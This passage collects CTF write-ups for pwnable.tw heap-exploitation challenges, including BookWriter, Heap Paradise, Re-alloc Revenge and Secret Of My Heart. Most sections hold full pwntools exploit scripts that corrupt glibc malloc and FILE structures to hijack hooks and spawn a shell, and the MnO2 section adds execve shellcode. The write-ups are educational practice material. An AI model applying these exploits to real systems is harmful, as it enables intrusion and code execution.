one_gadget = libc.address + 0xef6c4
raise_flower(0x68, p64(malloc_hook - 0x23), b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0')
```
So, you need to investigate their near-by memory such that the chunk size is in the range of fastbin. Eventually, you'll found the location `__malloc_hook - 0x23` that has a chunk size of 0x70 which satisfies your need.
```
gdb-peda$ x/8xg (long)&__malloc_hook - 0x23
0x7f6dd2a39aed: 0x6dd2a38260000000 0x000000000000007f
0x7f6dd2a39afd: 0x0000000000000000 0x0000000000000000
0x7f6dd2a39b0d <__realloc_hook+5>: 0x6dd27656c4000000 0x000000000000007f
0x7f6dd2a39b1d: 0x0000000000000000 0x0000000000000000
gdb-peda$
```
The next question is, what arress should we overwrite? Here, we can overwrite the `__malloc_hook` address with a one gadget address. After several experiments, the offset `0xef6c4` seems to be working.
```python
malloc_hook = libc.sym['__malloc_hook']
one_gadget = libc.address + 0xef6c4
raise_flower(0x68, p64(malloc_hook - 0x23), b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0')
```
Finally, we trigger `__malloc_hook` by calling `malloc_printerr`, which can be triggered by double freeing a chunk.
### Script
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10203)
libc = ELF('./libc_64.so.6')
def raise_flower(length, name, color):
io.recvuntil(b'Your choice : ')
io.sendline(b'1')
io.recvuntil(b'Length of the name :')
io.sendline(str(length))
io.recvuntil(b'The name of flower :')
io.send(name)
io.recvuntil(b'The color of the flower :')
io.sendline(color)
io.recvuntil(b'Successful !\n')
def visit():
io.recvuntil(b'Your choice : ')
io.sendline(b'2')
return io.recvuntil('☆', drop = True)
def remove_flower(index):
io.recvuntil(b'Your choice : ')
io.sendline(b'3')
io.recvuntil(b'Which flower do you want to remove from the garden:')
io.sendline(str(index))
def clean_garden():
io.recvuntil(b'Your choice : ')
io.sendline(b'4')
io.recvuntil(b'Done!')
# leak libc address using unsorted bin
raise_flower(0xb0, b'A', b'0')
raise_flower(0xb0, b'A', b'0')
remove_flower(0)
raise_flower(128, b'\n', b'0')
leak = visit().split(b':')[3][0:6]
libc_leak = u64(leak.ljust(8, b'\0'))
libc.address = libc_leak - 3947274
# double free
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
remove_flower(3)
remove_flower(4)
remove_flower(3)
# overwrite malloc_hook with one_gadget
malloc_hook = libc.sym['__malloc_hook']
one_gadget = libc.address + 0xef6c4
raise_flower(0x68, p64(malloc_hook - 0x23), b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'A', b'0')
raise_flower(0x68, b'\0' * 0x13 + p64(one_gadget), b'0')
# trigger __malloc_hook via malloc_printerr
remove_flower(3)
remove_flower(3)
io.interactive()
```
## BookWriter
### Vulnerabilities
1. In function `add_page`, the maximum number of pages is 8. But, the code says `if (i > 8)`, which should be `i > 7`. Since `sizes` is next to `pages`, we can overwrite size[0] with a malloced pointer, which is very large! This leads to heap overflow.
2. When asking for the author's name, null byte is not used for truncation. Since author and pages ptr are adjacent, if `pages[0]` already has data, the pointer of the heap will be leaked.
3. The `edit_page` functionn uses `strlen(pages[index])` to recalculate page length. Thus, we can overwrite `size[0]` to 0 as many times as we like.
### Techniques
1. `scanf` is called in the function, and scanf allocates a 0x1000 heap and does not reclaim it. So, if top chunk < 0x1000 (for example 0xc01), after `scanf` ends, the system will put the top chunk into the unsorted bin!
2. [House of :tangerine:](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c)
3. Bypass `(unsigned long) (o ld_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0)` , so top chunk size = `(0x1000 - (0x20)) | 1 = 0xee0`
4. [File Structure Oriented Programming](https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf)
### Script
```python=
from pwn import *
io = remote("chall.pwnable.tw", 10304)
libc = ELF('./libc_64.so.6')
def add_page(size, content, contin = True):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Size of page :')
io.sendline(str(size))
if contin:
io.recvuntil('Content :')
io.send(content)
def view_page(index):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index of page :')
io.sendline(str(index))
io.recvuntil('Content :')
return io.recvuntil('\n----------------------', drop = True).strip()
def edit_page(index, content):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index of page :')
io.sendline(str(index))
io.recvuntil('Content:')
io.send(content)
def information(change):
io.recvuntil('Your choice :')
io.sendline('4')
io.recvuntil('Author : ')
author = io.recvuntil('\nPage : ', drop = True)
heap_leak = u64(author[0x40:].ljust(8, b'\0'))
heap_base = heap_leak - 0x10
io.recvuntil('Do you want to change the author ? (yes:1 / no:0) ')
io.sendline(str(change))
return heap_base
io.recvuntil('Author :')
io.sendline('A' * 0x40)
# overwrite top chunk
add_page(0x18, 'A' * 0x18)
edit_page(0, 'A' * 0x18) # The new size is longer than 0x18
edit_page(0, b'A' * 0x18 + p64((0x1000 - 0x20) | 1)) # size > MINSIZE && prev_inuse && memory align
# leak heap address
heap_base = information(0)
# The below operation will make size[0] = heap address, which is very large! -> heap overflow
edit_page(0, '\0') # The new size is 0
for i in range(8):
add_page(0x40, 'A' * 8)
# leak libc
libc_leak = view_page(7)[8:]
libc_leak = u64(libc_leak.ljust(8, b'\0'))
libc.address = libc_leak - 0x3c3b78
# calculate system address & _IO_list_all_addr address
system_addr = libc.sym['system']
_IO_list_all_addr = libc.sym['_IO_list_all']
vtable = heap_base + 0x300 # vtable[3] = system (fake _IO_OVERFLOW)
# house of orange
fsop = b'/bin/sh\0' + p64(0x61) + p64(0) + p64(_IO_list_all_addr - 0x10) + p64(2)
fsop += p64(3) + p64(0) * 9 + p64(system_addr) + p64(0) * 11 + p64(vtable)
edit_page(0, p64(0) * 82 + fsop)
add_page(0x10, 'A', False)
io.interactive()
```
## Heap Paradise
### Description
First, let's examine the result of the decompiled code. The program is simple and straightforward. It provides two operations which are `my_allocate` and `my_free`. `my_allocate` limits the size of the memory space to be applied for, which is 0x78. It also limits the maximum number of allocations, which is 15.
```c=
int my_allocate()
{
unsigned __int64 size_; // rax
signed int i; // [rsp+4h] [rbp-Ch]
unsigned int size; // [rsp+8h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 15 )
{
LODWORD(size_) = puts("You can't allocate anymore !");
return size_;
}
if ( !buff[i] )
break;
}
printf("Size :");
size_ = read_num();
size = size_;
if ( size_ <= 0x78 )
{
buff[i] = malloc(size_);
if ( !buff[i] )
{
puts("Error!");
exit(-1);
}
printf("Data :");
LODWORD(size_) = (unsigned __int64)read_str((char *)buff[i], size);
}
return size_;
}
```
The `my_free` function is also straightforward. It reads the index of the chunk first then frees the intended chunk.
### Vulnerability
In `my_free`, the pointer is not set to NULL after the heap block is released, resulting in a double free vulnerability. Here, we have to realize that the program *does not have any output option*!
### Exploit
The first goal is to leak the base address of libc. The overall idea is to obtain the libc address via leaking the **main arenam address** when the chunk is inserted into **unsorted bin**. Because there is a double free vulnerability in `my_free`, we can carry out [fastbin dup]() attack and perform arbitrary write in the heap. Since `my_allocate` limits the size of the memory space to 0x78, you must construct some fake chunks such that a big fake chunk can be formed in the heap by carefully designed data as well as some modification of the chunk (such as changing the chunk size). We alsn need to make sure that the fake big chunk can be freed and put into the unsorted bin. Eventually, we can free the faked chunk and put the address of **main arena** into the heap.
```python
# fastbin dup & some carefully designed chunks
allocate(0x68, p64(0) * 3 + p64(0x71))
allocate(0x68, p64(0) * 3 + p64(0x21) + p64(0) * 5 + p64(0x21))
free(0)
free(1)
free(0)
allocate(0x68, b'\x20')
allocate(0x68, b'B')
allocate(0x68, b'C')
allocate(0x68, b'D')
# change the size of buff[5] to 0xa1 so that if the chunk is freed, it will be placed into unsorted bin.
free(0)
allocate(0x68, p64(0) * 3 + p64(0xa1))
# obtain main arena address
free(5)
```
Now, since the heap has been overlapped, we can directly edit the fd pointer to control the next available chunk instead of using fastbin duplication.
The next step is quite tricky and hard. Since there is no output option available, you can't read any leaked data from the binary. Luckily, you can still carry out arbitrary read by overwrite the `_IO_2_1_stdout` structure. This technique is called **File Structure Oriented Programming**. Detailed theory can be found in [this article](https://gsec.hitb.org/materials/sg2018/WHITEPAPERS/FILE%20Structures%20-%20Another%20Binary%20Exploitation%20Technique%20-%20An-Jie%20Yang.pdf).
Conclusively, our goal is to overwrite `_flags` with `_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING` as well as `_IO_write_base` with `_chain` so that wherever `puts` or `printf` is called, the data between `_IO_write_base` and `_IO_write_ptr` can be printed out. Here, overwriting the `_IO_write_base` address with `_chain` leads to the conclusion that the address of `_IO_2_1_stdout_->_chain`, which is `_IO_2_1_stdin_`, is leaked.
But here, some excessive coverage is required when controlling `_IO_2_1_stdout_`. This leads to the fact that the probability of success is roughly $\frac{1}{16}$.
Finally, override malloc_hook with one gadget. I won't repeat it here. Check out a similar problem `secret garden` for more details.
### Script
```python=
from pwn import *
libc = ELF('./libc_64.so.6')
def allocate(size, data):
io.recvuntil('You Choice:')
io.sendline('1')
io.recvuntil('Size :')
io.sendline(str(size))
io.recvuntil('Data :')
io.send(data)
def free(index):
io.recvuntil('You Choice:')
io.sendline('2')
io.recvuntil('Index :')
io.sendline(str(index))
while True:
io = remote('chall.pwnable.tw', 10308)
# fastbin dup & some carefully designed chunks
allocate(0x68, p64(0) * 3 + p64(0x71))
allocate(0x68, p64(0) * 3 + p64(0x21) + p64(0) * 5 + p64(0x21))
free(0)
free(1)
free(0)
allocate(0x68, b'\x20')
allocate(0x68, b'B')
allocate(0x68, b'C')
allocate(0x68, b'D')
# change the size of buff[5] to 0xa1 so that if the chunk is freed, it will be placed into unsorted bin.
free(0)
allocate(0x68, p64(0) * 3 + p64(0xa1))
# get unsorted bin addess
free(5)
#allocate(0x48, b'A')
free(0)
free(1)
allocate(0x78, p64(0) * 9 + p64(0x71) + b'\xa0')
free(7)
allocate(0x68, p64(0) * 5 + p64(0x71) + b'\xdd\x45')
allocate(0x68, b'A')
_IO_MAGIC = 0xfbad0000
_IO_IS_APPENDING = 0x1000
_IO_CURRENTLY_PUTTING = 0x800
payload = b'\0' * 3 + p64(0) * 6 + p64(_IO_MAGIC | _IO_IS_APPENDING | _IO_CURRENTLY_PUTTING) + p64(0) * 3 + b'\x88'
try:
allocate(0x68, payload)
except EOFError:
continue
stack_leak = io.recv(6)
if stack_leak != b'*' * 6:
libc.address = u64(stack_leak.ljust(8, b'\0')) - 0x3c38e0
print(hex(libc.address))
break
else:
io.close()
free(1)
allocate(0x78, p64(0) * 9 + p64(0x71) + p64(libc.sym['__malloc_hook'] - 0x23))
one_gadget = libc.address + 0xef6c4
log.info(hex(libc.sym['__malloc_hook'] - 0x23))
allocate(0x68, b'A')
allocate(0x68, b'\0' * 0x13 + p64(one_gadget))
# trigger __malloc_hook
io.recvuntil('You Choice:')
io.sendline('1')
io.recvuntil('Size :')
io.sendline('16')
io.interactive()
```
## Re-alloc Revenge
### Description
The vulnerability is similar to Re-alloc, except that the binary is a position independent executable.
### Exploitation
1. If we free a chunk that lies inside tcache, then `chunk->fd` might contain a heap address. The libc-2.29 version of tcache first creates a tcache management structure at the beginning of the heap in order to maintain the tcache. Hence, after the chunk is freed, we can try to change the last 2 bytes of `chunk->fd` to the address of tcache management chunk. The probability is $\frac{1}{16}$. If we guesses the correct address, we can control the whole structure of tcache.
2. Now, overwrite an unsorted bin range tcache bin counter to 7. Next time if we try to free the chunk, it will instead be inserted into the unsorted bin. Then, we can try to overwrite `_IO_2_1_stdout_` and obtain a libc address. The success rate is also $\frac{1}{16}$.
3. Now, modify the tcache structure again. Change one of the freed tcache chunk pointer to `__free_hook`, realloc it, overwrite it with `system`, and get the shell.
```python=
from pwn import *
libc = ELF('./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so')
def alloc(index, size, data):
io.recvuntil('Your choice: ')
io.sendline('1')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
io.recvuntil('Data:')
io.send(data)
def realloc(index, size, data):
io.recvuntil('Your choice: ')
io.sendline('2')
io.recvuntil('Index:')
io.sendline(str(index))
io.recvuntil('Size:')
io.sendline(str(size))
if size == 0:
return
io.recvuntil('Data:')
io.send(data)
def free(index):
io.recvuntil('Your choice: ')
io.sendline('3')
io.recvuntil('Index:')
io.sendline(str(index))
while True:
while True:
io = remote('chall.pwnable.tw', 10310)
# tcache dup
alloc(0, 0x48, 'A')
realloc(0, 0, '')
realloc(0, 0x48, p64(0) + p64(0))
realloc(0, 0, '')
realloc(0, 0x48, '\x10\x80') # 1/16 chance of success
# make free chunk return to entries[3] instead of entries[2]
alloc(1, 0x48, 'A')
realloc(1, 0x58, 'A')
free(1)
try:
alloc(1, 0x48, b'\0' * 0x23 + b'\x07')
realloc(1, 0, '')
message = io.recvline()
if message == b'free(): invalid pointer\n':
raise EOFError('Incorrect Guess')
break
except EOFError:
io.close()
realloc(1, 0x48, '\x58\x87') # 1/16 chance of success
realloc(0, 0x38, p64(0) + p64(0))
free(0)
alloc(0, 0x48, 'A')
realloc(0, 0x38, 'A')
free(0)
try:
# overwrite _flags & _IO_write_base to leak libc address
alloc(0, 0x40, b'/bin/sh\0' + p64(0xfbad1800) + p64(0) * 3)
leak = io.recvline()
if leak.startswith(b'$$$$$$$$$$$$$$$$$$$$$$$$$$$$'):
raise EOFError('Incorrect Guess')
break
except EOFError:
io.close()
libc_leak = u64(leak[8:16])
libc.address = libc_leak - 0x1e7570
# overwrite __free_hook with system
realloc(1, 0x48, p64(0) * 8 + p64(libc.sym['__free_hook']))
free(1)
alloc(1, 0x18, p64(libc.sym['system']))
# trigger system("/bin/sh")
free(0)
io.interactive()
```
## MnO2
用元素週期表寫shellcode,喪心病狂。
### Exploit
方法是先觸發 `read(0, buff, large_num)` ,然後送真正的shellcode,不然 `execve("/bin/sh", NULL, NULL)` 不太好寫。
```python=
from pwn import *
io = remote('chall.pwnable.tw', 10301)
context.arch = 'i386'
'''
00000000 50 push eax
00000001 59 pop ecx
00000002 354D6E4F32 xor eax,0x324f6e4d
00000007 3439 xor al,0x39
00000009 3446 xor al,0x46
0000000B 50 push eax
0000000C 5A pop edx
0000000D 7231 jc 0x40
0000000F 42 inc edx
00000010 52 push edx
00000011 6831303030 push dword 0x30303031
00000016 5A pop edx
00000017 7231 jc 0x4a
00000019 58 pop eax
0000001A 653130 xor [gs:eax],esi
0000001D 304163 xor [ecx+0x63],al
00000020 49 dec ecx
00000021 344B xor al,0x4b
00000023 3430 xor al,0x30
00000025 3436 xor al,0x36
00000027 304163 xor [ecx+0x63],al
0000002A 53 push ebx
0000002B 58 pop eax
0000002C 653130 xor [gs:eax],esi
0000002F 3433 xor al,0x33
00000031 3430 xor al,0x30
'''
periodic_shellcode = 'PY5MnO2494FPZr1BRh1000Zr1Xe100AcI4K40460AcSXe104340' + 'O' * 0x2f
shell_shellcode = b'\0' * 0x65 + asm('''
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
''')
io.sendline(periodic_shellcode)
io.sendline(shell_shellcode)
io.interactive()
```
## Secret Of My Heart
### Vulnerability
The only vulnerability found in this binary is an **off-by-null** vulnerability. After accepting the user’s input, an extra null byte will be appended to the end.
```c=
__int64 __fastcall read_str(char *buff, unsigned int max_read)
{
unsigned int n_read; // [rsp+1Ch] [rbp-4h]
n_read = read(0, buff, max_read);
if ( (signed int)n_read <= 0 )
{
puts("read error");
exit(1);
}
if ( buff[n_read - 1] == '\n' )
buff[n_read - 1] = '\0';
return n_read;
}
```
### Exploitation
1. [off by null](https://github.com/shellphish/how2heap/blob/master/glibc_2.31/unsafe_unlink.c). 取 0xa0, 0x20, 0x100, 0x20 (防止和 top_chunk 合併) 四塊大小的 chunk,然後用 off-by-null 把 0x101 (prev_size) 改成 0x100。釋放 chunk[2] 後,由於 chunk[2] 的 prev_in_use bit 是 0,因此 chunk[2] 會做向上合併。這樣一來,因為合併後的 chunk size 在 unsorted bin 的範圍內,因此我們容易就構造出了兩塊重疊的 chunk 了。另外,libc 的位址也很容易取得。
2. 注意到這版本的 libc 會去檢查 `P->fd->bk == P` 以及 `P->bk->fd == P`,因此我們必須構造一塊假的位址使得以上的條件成立。
3. 獲得重疊的 chunk 後,用一樣的老方法構造 fastbin dup 把 `__malloc_hook` 改成 `one gadget`。
4. 注意到如果 `__malloc_hook` 的 one gadget 都行不通的話,舊版本的 libc 可以試試看靠 **`malloc_printerr`** 觸發 `__malloc_hook`。
```python=
from pwn import *
libc = ELF('./libc_64.so.6')
io = remote('chall.pwnable.tw', 10302)
def add(size, name, secret):
io.recvuntil('Your choice :')
io.sendline('1')
io.recvuntil('Size of heart : ')
io.send(str(size))
io.recvuntil('Name of heart :')
io.send(name)
io.recvuntil('secret of my heart :')
io.send(secret)
def show(index):
io.recvuntil('Your choice :')
io.sendline('2')
io.recvuntil('Index :')
io.send(str(index))
io.recvuntil('Index :')
index = int(io.recvline(keepends = False))
io.recvuntil('Size : ')
size = int(io.recvline(keepends = False))
io.recvuntil('Name : ')
name = io.recvline(keepends = False)
io.recvuntil('Secret : ')
secret = io.recvline(keepends = False)
return index, size, name, secret
def delete(index):
io.recvuntil('Your choice :')
io.sendline('3')
io.recvuntil('Index :')
io.send(str(index))
# leak base heap address
add(0x98, b'A' * 0x20, b'A')
_, _, heap_leak, _ = show(0)
heap_base = u64(heap_leak[0x20:0x26] + b'\0\0') - 0x10
delete(0)
# off by null attack
# bypass P->fd->bk == P && P->bk->fd == P
add(0x98, b'A' * 0x20, p64(0) + p64(0x91) + p64(heap_base + 0x1b8) + p64(heap_base + 0x1c0))
add(0x18, b'A' * 0x20, b'A')
add(0xf8, b'A' * 0x20, b'A')
add(0x18, b'A' * 0x20, p64(heap_base + 0x10))
delete(1)
add(0x18, b'A' * 0x20, b'A' * 0x10 + p64(0xb0)) # off by null
delete(2)
# leak base libc address
add(0x88, b'A' * 0x20, b'\0')
_, _, _, libc_leak = show(1)
libc_base = u64(libc_leak + b'\0\0') - 0x3c3b78
# create two chunks of size 0x70
delete(2)
add(0x18, b'A' * 0x20, b'A')
add(0x68, b'A' * 0x20, b'A')
add(0x68, b'A' * 0x20, b'A')
# fastbin dup
delete(1)
delete(4)
delete(5)
__malloc_hook = libc_base + 0x3c3aed
one_gadget = libc_base + 0xef6c4
# overwrite __malloc_hook with one gadget
add(0x68, b'A' * 0x20, p64(__malloc_hook))
add(0x68, b'A' * 0x20, b'A')
add(0x68, b'A' * 0x20, b'A')
add(0x68, b'A' * 0x20, b'\0' * 0x13 + p64(one_gadget))
# trigger malloc_printerr
delete(1)
delete(5)
io.interactive()
```
## Kidding
This problem is short but quite fun. The first technique used in this problem is **Return-to-stack**, which uses the function `_dl_make_stack_executable` to make the stack executable and run your shellcode.
Ref: https://quentinmeffre.fr/pwn/2017/01/26/ret_to_stack.html
The second technique used in this problem is reverse-shell shellcode, since stdin, stdout and stderr are all closed.
## Wannaheap
libc 中任意位址寫上 null byte。做法是把 `_IO_2_1_stdin_->_IO_buf_base` 的最後一個 byte 改成 null byte。這樣一來,我們就可以改 `_IO_2_1_stdin_->_IO_buf_end`。改完後基本上 `_IO_buf_end` 底下的一大塊位址都可以任意改了(除了 payload 不能有 'A' 和 'E')。注意到本題有 seccomp,沒辦法呼叫 system 或是 execve。因此構造 open-read-write 的 ROP 是逃不掉的。
作這題的方法很多,我用的是 `__morecore` 這個 hook。把 `__malloc_hook` 改成 `__morecore` 後就可以跳到任意位置執行。所以可以把 ROP gadget 放在 libc 中執行 RCE。
細節不多說,可以參考 exploit。注意到我們其實可以 write(STDIN_FILENO, ..., ...) 喔!